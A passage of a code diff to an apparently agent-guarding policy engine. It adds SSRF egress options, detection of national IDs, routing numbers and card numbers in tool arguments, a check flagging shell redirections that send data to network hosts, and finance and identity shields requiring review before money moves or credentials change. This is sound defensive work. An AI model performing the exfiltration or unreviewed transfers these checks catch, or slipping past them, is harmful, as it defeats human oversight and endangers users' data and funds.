  {
5274
5786
  const dest = ssrfDestinationFloor(toolName, args, {
5275
5787
  ssrfAllow: config.policy.egress?.ssrfAllow,
5276
- ssrfStrict: config.policy.egress?.ssrfStrict
5788
+ ssrfStrict: config.policy.egress?.ssrfStrict,
5789
+ allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
5277
5790
  });
5278
5791
  if (dest) {
5279
5792
  return {
5280
- decision: "block",
5793
+ decision: dest.decision,
5281
5794
  blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
5282
5795
  reason: dest.reason,
5283
5796
  ruleName: `ssrf:${dest.tier}:${toolName}:${dest.host}`,
@@ -5474,11 +5987,14 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
5474
5987
  {
5475
5988
  const ssrf = ssrfFloor(extractShellDestTokens(shellCommand), {
5476
5989
  ssrfAllow: config.policy.egress?.ssrfAllow,
5477
- ssrfStrict: config.policy.egress?.ssrfStrict
5990
+ ssrfStrict: config.policy.egress?.ssrfStrict,
5991
+ // Only an ENABLED egress policy speaks for the operator here: the
5992
+ // shipped default carries allowPrivate without anyone having chosen it.
5993
+ allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
5478
5994
  });
5479
5995
  if (ssrf) {
5480
5996
  return {
5481
- decision: "block",
5997
+ decision: ssrf.decision,
5482
5998
  blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
5483
5999
  reason: ssrf.reason,
5484
6000
  ruleName: `ssrf:${ssrf.tier}:${ssrf.binary}:${ssrf.host}`,
@@ -5757,6 +6273,36 @@ function gitRepoPath(url) {
5757
6273
  function isDestructiveToolName(bareTool) {
5758
6274
  return DESTRUCTIVE_VERB_RE.test(bareTool);
5759
6275
  }
6276
+ function hasNationalId(text) {
6277
+ if (!NATIONAL_ID_GUARD_RE.test(text)) return false;
6278
+ const labelled = NATIONAL_ID_LABEL_RE.test(text);
6279
+ for (const shape of NATIONAL_ID_SHAPES) {
6280
+ if (shape.labelled && !labelled) continue;
6281
+ const flags = shape.regex.flags.includes("g") ? shape.regex.flags : shape.regex.flags + "g";
6282
+ const re = new RegExp(shape.regex.source, flags);
6283
+ let m;
6284
+ while ((m = re.exec(text)) !== null) {
6285
+ if (!shape.validate(m[0])) continue;
6286
+ if (!shape.labelled) return true;
6287
+ const before = text.slice(Math.max(0, m.index - NATIONAL_ID_LABEL_WINDOW), m.index);
6288
+ if (NATIONAL_ID_LABEL_RE.test(before)) return true;
6289
+ }
6290
+ }
6291
+ return false;
6292
+ }
6293
+ function hasRoutingNumber(text) {
6294
+ if (!ROUTING_LABEL_RE.test(text)) return false;
6295
+ const re = new RegExp(PII_ROUTING_RE.source, "g");
6296
+ let m;
6297
+ while ((m = re.exec(text)) !== null) {
6298
+ if (!validateAbaRouting(m[0])) continue;
6299
+ const before = text.slice(Math.max(0, m.index - ROUTING_LABEL_WINDOW), m.index);
6300
+ const end = m.index + m[0].length;
6301
+ const after = text.slice(end, end + ROUTING_LABEL_WINDOW);
6302
+ if (ROUTING_LABEL_RE.test(before) || ROUTING_LABEL_RE.test(after)) return true;
6303
+ }
6304
+ return false;
6305
+ }
5760
6306
  function* validCardRuns(text, base2, exemptFractions = true) {
5761
6307
  const re = new RegExp(base2.source, "g");
5762
6308
  let m;
@@ -5771,14 +6317,14 @@ function* validCardRuns(text, base2, exemptFractions = true) {
5771
6317
  }
5772
6318
  }
5773
6319
  function hasValidCard(text) {
5774
- for (const base2 of [PII_CC16_RE, PII_CC15_RE]) {
6320
+ for (const base2 of CARD_PATTERNS) {
5775
6321
  if (!validCardRuns(text, base2).next().done) return true;
5776
6322
  }
5777
6323
  return false;
5778
6324
  }
5779
6325
  function replaceValidCards(text, replace, { exemptFractions = true } = {}) {
5780
6326
  let out = text;
5781
- for (const base2 of [PII_CC16_RE, PII_CC15_RE]) {
6327
+ for (const base2 of CARD_PATTERNS) {
5782
6328
  let res = "";
5783
6329
  let last = 0;
5784
6330
  for (const run of validCardRuns(out, base2, exemptFractions)) {
@@ -5819,36 +6365,65 @@ function detectPii(text) {
5819
6365
  if (PII_PHONE_RE.test(text)) found.add("Phone");
5820
6366
  if (hasValidCard(text)) found.add("Credit Card");
5821
6367
  if (hasValidIban(text)) found.add("IBAN");
6368
+ if (hasRoutingNumber(text)) found.add("Bank Routing Number");
6369
+ if (hasNationalId(text)) found.add("National ID");
5822
6370
  return [...found];
5823
6371
  }
5824
- function* stringLeaves(v, depth = 0) {
6372
+ function* stringLeaves(v, depth = 0, key) {
5825
6373
  if (depth > 6) return;
5826
6374
  if (typeof v === "string") {
5827
- if (v.length > 0) yield v;
6375
+ if (v.length > 0) yield [v, key];
5828
6376
  return;
5829
6377
  }
5830
6378
  if (typeof v === "number") {
5831
- if (Number.isFinite(v)) yield String(v);
6379
+ if (Number.isFinite(v)) yield [String(v), key];
5832
6380
  return;
5833
6381
  }
5834
6382
  if (!v || typeof v !== "object") return;
5835
6383
  if (Array.isArray(v)) {
5836
- for (const x of v) yield* stringLeaves(x, depth + 1);
6384
+ for (const x of v) yield* stringLeaves(x, depth + 1, key);
5837
6385
  return;
5838
6386
  }
5839
- for (const x of Object.values(v)) yield* stringLeaves(x, depth + 1);
6387
+ for (const [k, x] of Object.entries(v)) yield* stringLeaves(x, depth + 1, k);
6388
+ }
6389
+ function argumentLeavesText(args, limit = MAX_PII_SCAN_BYTES) {
6390
+ const parts = [];
6391
+ let size = 0;
6392
+ for (const [leaf] of stringLeaves(args)) {
6393
+ if (size >= limit) break;
6394
+ parts.push(leaf);
6395
+ size += leaf.length + 1;
6396
+ }
6397
+ return parts.join("\n").slice(0, limit);
6398
+ }
6399
+ function isIbanDestination(leaf, key) {
6400
+ if (!key || !IBAN_DESTINATION_KEYS.has(key.toLowerCase())) return false;
6401
+ const value = leaf.trim();
6402
+ return WHOLE_IBAN_RE.test(value) && validateIban(value);
6403
+ }
6404
+ function jsonUnescapedView(leaf) {
6405
+ if (!/\\[ntr"\\/u]/.test(leaf)) return null;
6406
+ return leaf.replace(
6407
+ JSON_ESCAPE_RE,
6408
+ (m) => m[1] === "u" ? String.fromCharCode(parseInt(m.slice(2), 16)) : JSON_ESCAPES[m[1]]
6409
+ );
5840
6410
  }
5841
6411
  function detectArgsPii(args) {
5842
6412
  if (args === null || args === void 0) return [];
5843
6413
  const found = /* @__PURE__ */ new Set();
5844
6414
  let budget = MAX_PII_SCAN_BYTES;
5845
6415
  try {
5846
- for (const leaf of stringLeaves(args)) {
6416
+ for (const [leaf, key] of stringLeaves(args)) {
5847
6417
  if (budget <= 0) break;
5848
6418
  const t = leaf.length > budget ? leaf.slice(0, budget) : leaf;
5849
6419
  budget -= t.length;
5850
- for (const p of detectPii(t)) {
5851
- if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
6420
+ const destination = isIbanDestination(t, key);
6421
+ for (const view of [t, jsonUnescapedView(t)]) {
6422
+ if (view === null) continue;
6423
+ for (const p of detectPii(view)) {
6424
+ if (p === "IBAN" && destination) continue;
6425
+ if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
6426
+ }
5852
6427
  }
5853
6428
  }
5854
6429
  } catch {
@@ -6304,6 +6879,15 @@ function walkCalls(command, out, depth, state) {
6304
6879
  for (const a of node.Args || []) if (a?.Name?.Value) state.env.add(a.Name.Value);
6305
6880
  return true;
6306
6881
  }
6882
+ if (type === "Stmt") {
6883
+ for (const r of node.Redirs || []) {
6884
+ const h = devNetRedirectHost(r?.Word ? resolveWordLiteral(r.Word) : null);
6885
+ if (!h) continue;
6886
+ out.sends = true;
6887
+ out.destinations.push(`host:${h}`);
6888
+ }
6889
+ return true;
6890
+ }
6307
6891
  if (type !== "CallExpr") return true;
6308
6892
  const call = node;
6309
6893
  if ((call.Args || []).length === 0) {
@@ -6473,7 +7057,7 @@ function matchCanaryArgs(args, values) {
6473
7057
  return null;
6474
7058
  }
6475
7059
  }
6476
- var aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, IBAN_LENGTH, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, BATCH_SEPARATOR, syntax3, NPM_INSTALL_VERBS, NPM_EXEC_VERBS, PNPM_INSTALL_VERBS, YARN_INSTALL_VERBS, BUN_INSTALL_VERBS, DLX_VERBS, NON_REGISTRY_RE, NPM_NAME_RE, EXACT_SEMVER_RE, NPM_VALUE_FLAGS, PNPM_VALUE_FLAGS, YARN_VALUE_FLAGS, BUN_VALUE_FLAGS, PIP_VALUE_FLAGS, UV_VALUE_FLAGS, POETRY_VALUE_FLAGS, PIPENV_VALUE_FLAGS, PIPX_VALUE_FLAGS, PY_SPEC_RE, PY_EXACT_RE, EXACT_VERSION_RE, GEM_NAME_RE, GEM_VALUE_FLAGS, BUNDLE_VALUE_FLAGS, CRATE_NAME_RE, CARGO_ADD_VALUE_FLAGS, CARGO_INSTALL_VALUE_FLAGS, GO_VALUE_FLAGS, GO_PATH_RE, NUGET_NAME_RE, DOTNET_ADD_VALUE_FLAGS, DOTNET_TOOL_VALUE_FLAGS, NUGET_VALUE_FLAGS, MAVEN_COORD_RE, COMPOSER_NAME_RE, COMPOSER_VALUE_FLAGS, EDITOR_HEADS, EXTENSION_ID_RE, MANAGER_HEADS, SHELLS, MAX_NESTING, SHELL_VALUE_FLAGS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, DEFAULT_EGRESS_ALLOWLIST, PRIVATE_HOST_SUFFIXES, SOURCE_COMMANDS, SINK_COMMANDS, OBFUSCATORS, SENSITIVE_PATTERNS, FLAGS_WITH_VALUES, DESTINATION_ARGS, SECRET_VIEW_LIMITS, ARGUMENT_SCAN_LIMITS, RUN_CHAR, runChar, VERDICT_RANK, SQL_DML_KEYWORDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, DESTRUCTIVE_VERB_RE, PII_EMAIL_RE, PII_SSN_RE, PII_PHONE_RE, PII_CC16_RE, PII_CC15_RE, PII_IBAN_RE, REALTIME_PII_PATTERNS, MAX_PII_SCAN_BYTES, MASKED_KINDS, ENTRY_RE, IBAN_TEXT_RE, EMAIL_TEXT_RE, ACCOUNT_KEY_RE, ACCOUNT_VALUE_RE, MAX_MASK_DEPTH, syntax4, EMPTY, CURL_SEND_FLAGS, WGET_SEND_FLAGS, IWR_SEND_FLAGS, WRITE_METHODS, GH_READ, GH_WRITE, GH_HOSTNAME_FLAGS, GH_REPO_VALUE_FLAGS, GH_API_VALUE_FLAGS, GIT_FETCH, PUBLISH, SHELLS2, OWN_HEADS, MAX_DEPTH3, CWD_CHANGERS, TERMINAL_ESCAPE_RE, LOOP_MAX_RECORDS, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
7060
+ var aws_default, bash_safe_default, docker_default, filesystem_default, finance_default, github_default, identity_default, k8s_default, mongodb_default, postgres_default, project_jail_default, publishing_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, INVISIBLE_RE, INVISIBLE_ONE, HOMOGLYPHS, HOMOGLYPH_RE, MAX_BLOBS, MIN_DECODED, BASE64_RUN_RE, HEX_RUN_RE, HEX_ESCAPE_RUN_RE, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, MAX_READING_PAYLOADS, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, CURL_SOURCE_FLAGS, CURL_VALUE_LETTERS, WGET_VALUE_LETTERS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, MAX_PAYLOAD_NESTING, payloadNesting, SCRIPT_RUNNERS, SCRIPT_RUNNER_VALUE_FLAGS, MAX_SCRIPT_OPERANDS, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, SECRET_VIEW_LIMITS, IBAN_LENGTH, IBAN_BBAN_SHAPE, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, CF_ODD, CF_EVEN, SPANISH_LETTERS, HETU_CHARS, MAX, UNTRUSTED_TOOLS, SIGNALS, MENTION_QUOTE_RE, MENTION_WORD_RE, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, CIPHER_KEY_NAME_RE, CIPHER_NAME_PARTS, CIPHER_KEY_VALUE_RE, LARAVEL_KEY_VALUE_RE, SQL_PASSWORD_VALUE_RE, GRAFANA_KEY_VALUE_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DB_URL_PASSWORD_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, BATCH_SEPARATOR, syntax3, NPM_INSTALL_VERBS, NPM_EXEC_VERBS, PNPM_INSTALL_VERBS, YARN_INSTALL_VERBS, BUN_INSTALL_VERBS, DLX_VERBS, NON_REGISTRY_RE, NPM_NAME_RE, EXACT_SEMVER_RE, NPM_VALUE_FLAGS, PNPM_VALUE_FLAGS, YARN_VALUE_FLAGS, BUN_VALUE_FLAGS, PIP_VALUE_FLAGS, UV_VALUE_FLAGS, POETRY_VALUE_FLAGS, PIPENV_VALUE_FLAGS, PIPX_VALUE_FLAGS, PY_SPEC_RE, PY_EXACT_RE, EXACT_VERSION_RE, GEM_NAME_RE, GEM_VALUE_FLAGS, BUNDLE_VALUE_FLAGS, CRATE_NAME_RE, CARGO_ADD_VALUE_FLAGS, CARGO_INSTALL_VALUE_FLAGS, GO_VALUE_FLAGS, GO_PATH_RE, NUGET_NAME_RE, DOTNET_ADD_VALUE_FLAGS, DOTNET_TOOL_VALUE_FLAGS, NUGET_VALUE_FLAGS, MAVEN_COORD_RE, COMPOSER_NAME_RE, COMPOSER_VALUE_FLAGS, EDITOR_HEADS, EXTENSION_ID_RE, MANAGER_HEADS, SHELLS, MAX_NESTING, SHELL_VALUE_FLAGS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, DEFAULT_EGRESS_ALLOWLIST, PRIVATE_HOST_SUFFIXES, SOURCE_COMMANDS, SINK_COMMANDS, OBFUSCATORS, SENSITIVE_PATTERNS, FLAGS_WITH_VALUES, DESTINATION_ARGS, MCP_DESTINATION_KEYS, ARGUMENT_SCAN_LIMITS, RUN_CHAR, runChar, VERDICT_RANK, SQL_DML_KEYWORDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, DESTRUCTIVE_VERB_RE, PII_EMAIL_RE, PII_SSN_RE, PII_PHONE_RE, PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE, CARD_PATTERNS, PII_ROUTING_RE, ROUTING_LABEL_RE, ROUTING_LABEL_WINDOW, NATIONAL_ID_SHAPES, NATIONAL_ID_LABEL_RE, NATIONAL_ID_LABEL_WINDOW, NATIONAL_ID_GUARD_RE, PII_IBAN_RE, REALTIME_PII_PATTERNS, MAX_PII_SCAN_BYTES, IBAN_DESTINATION_KEYS, WHOLE_IBAN_RE, JSON_ESCAPE_RE, JSON_ESCAPES, MASKED_KINDS, ENTRY_RE, IBAN_TEXT_RE, EMAIL_TEXT_RE, ACCOUNT_KEY_RE, ACCOUNT_VALUE_RE, MAX_MASK_DEPTH, syntax4, EMPTY, CURL_SEND_FLAGS, WGET_SEND_FLAGS, IWR_SEND_FLAGS, WRITE_METHODS, GH_READ, GH_WRITE, GH_HOSTNAME_FLAGS, GH_REPO_VALUE_FLAGS, GH_API_VALUE_FLAGS, GIT_FETCH, PUBLISH, SHELLS2, OWN_HEADS, MAX_DEPTH3, CWD_CHANGERS, TERMINAL_ESCAPE_RE, LOOP_MAX_RECORDS, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
6477
7061
  var init_dist = __esm({
6478
7062
  "packages/policy-engine/dist/index.mjs"() {
6479
7063
  "use strict";
@@ -6778,6 +7362,77 @@ var init_dist = __esm({
6778
7362
  ],
6779
7363
  dangerousWords: ["wipefs"]
6780
7364
  };
7365
+ finance_default = {
7366
+ name: "finance",
7367
+ description: "Asks before money moves through a payment or banking app (refunds, payouts, transfers, charges, invoices), whatever the request said. Reads are never asked about.",
7368
+ aliases: ["payments", "money"],
7369
+ smartRules: [
7370
+ {
7371
+ name: "shield:finance:review-refund",
7372
+ tool: "{,mcp__*__}{create_refund,refund_payment,refund_charge,refund_order,issue_refund}",
7373
+ conditions: [],
7374
+ verdict: "review",
7375
+ reason: "A refund returns money to a customer. node9 asks before money moves, whatever the request said (Finance shield)."
7376
+ },
7377
+ {
7378
+ name: "shield:finance:review-payout",
7379
+ tool: "{,mcp__*__}{create_payout,send_payout,payout,create_payouts_batch}",
7380
+ conditions: [],
7381
+ verdict: "review",
7382
+ reason: "A payout moves the balance to a bank account. node9 asks before money moves (Finance shield)."
7383
+ },
7384
+ {
7385
+ name: "shield:finance:review-transfer",
7386
+ tool: "{,mcp__*__}{transfer_create,transfer_authorization_create,create_transfer,transfer_money,transfer_funds,send_money,wire_transfer,create_wire,schedule_transaction,update_scheduled_transaction,create_transaction}",
7387
+ conditions: [],
7388
+ verdict: "review",
7389
+ reason: "A transfer moves money between accounts. node9 asks before money moves (Finance shield)."
7390
+ },
7391
+ {
7392
+ name: "shield:finance:review-charge",
7393
+ tool: "{,mcp__*__}{create_payment_intent,confirm_payment_intent,capture_payment_intent,create_charge,create_payment,capture_payment,capture_order,create_order,authorize_order,create_checkout_session}",
7394
+ conditions: [],
7395
+ verdict: "review",
7396
+ reason: "This charges a card or captures a payment. node9 asks before money moves (Finance shield)."
7397
+ },
7398
+ {
7399
+ name: "shield:finance:review-payment-link",
7400
+ tool: "{,mcp__*__}{create_payment_link,create_invoice,finalize_invoice,send_invoice,pay_invoice,create_invoice_item}",
7401
+ conditions: [],
7402
+ verdict: "review",
7403
+ reason: "This bills someone or creates a link that charges a card. node9 asks before money moves (Finance shield)."
7404
+ },
7405
+ {
7406
+ name: "shield:finance:review-subscription",
7407
+ tool: "{,mcp__*__}{create_subscription,cancel_subscription,update_subscription,pause_subscription,resume_subscription}",
7408
+ conditions: [],
7409
+ verdict: "review",
7410
+ reason: "A subscription starts or stops recurring charges. node9 asks before money moves (Finance shield)."
7411
+ },
7412
+ {
7413
+ name: "shield:finance:review-dispute",
7414
+ tool: "{,mcp__*__}{update_dispute,accept_dispute,close_dispute}",
7415
+ conditions: [],
7416
+ verdict: "review",
7417
+ reason: "This answers or concedes a chargeback. node9 asks before money moves (Finance shield)."
7418
+ },
7419
+ {
7420
+ name: "shield:finance:review-card",
7421
+ tool: "{,mcp__*__}{issue_card,create_virtual_card,create_issuing_card,update_card_limit}",
7422
+ conditions: [],
7423
+ verdict: "review",
7424
+ reason: "This issues a card or changes its limit. node9 asks before money moves (Finance shield)."
7425
+ },
7426
+ {
7427
+ name: "shield:finance:review-withdraw",
7428
+ tool: "{,mcp__*__}{withdraw,withdraw_funds,create_withdrawal,request_withdrawal}",
7429
+ conditions: [],
7430
+ verdict: "review",
7431
+ reason: "A withdrawal moves money out. node9 asks before money moves (Finance shield)."
7432
+ }
7433
+ ],
7434
+ dangerousWords: []
7435
+ };
6781
7436
  github_default = {
6782
7437
  name: "github",
6783
7438
  description: "Protects GitHub repositories from destructive AI operations",
@@ -6804,6 +7459,56 @@ var init_dist = __esm({
6804
7459
  ],
6805
7460
  dangerousWords: []
6806
7461
  };
7462
+ identity_default = {
7463
+ name: "identity",
7464
+ description: "Asks before a password, a key, a token, a role or a user changes in an identity or admin app, whatever the request said. Reads are never asked about.",
7465
+ aliases: ["access", "iam"],
7466
+ smartRules: [
7467
+ {
7468
+ name: "shield:identity:review-password",
7469
+ tool: "{,mcp__*__}{change_password,update_password,reset_password,set_password,expire_password,force_password_reset}",
7470
+ conditions: [],
7471
+ verdict: "review",
7472
+ reason: "This changes or resets a password. node9 asks before credentials change, whatever the request said (Identity shield)."
7473
+ },
7474
+ {
7475
+ name: "shield:identity:review-key",
7476
+ tool: "{,mcp__*__}{rotate_key,rotate_api_key,create_api_key,create_token,create_access_token,create_personal_access_token,regenerate_secret,rotate_secret,create_service_account_key,create_credential}",
7477
+ conditions: [],
7478
+ verdict: "review",
7479
+ reason: "This creates or rotates a key, token or secret. node9 asks before credentials change (Identity shield)."
7480
+ },
7481
+ {
7482
+ name: "shield:identity:review-access",
7483
+ tool: "{,mcp__*__}{grant_access,grant_permission,grant_role,revoke_access,revoke_permission,revoke_role,revoke_token,set_permission,set_permissions,set_role,assign_role,update_role,add_permission,remove_permission,attach_policy,detach_policy}",
7484
+ conditions: [],
7485
+ verdict: "review",
7486
+ reason: "This grants or revokes access. node9 asks before access changes (Identity shield)."
7487
+ },
7488
+ {
7489
+ name: "shield:identity:review-membership",
7490
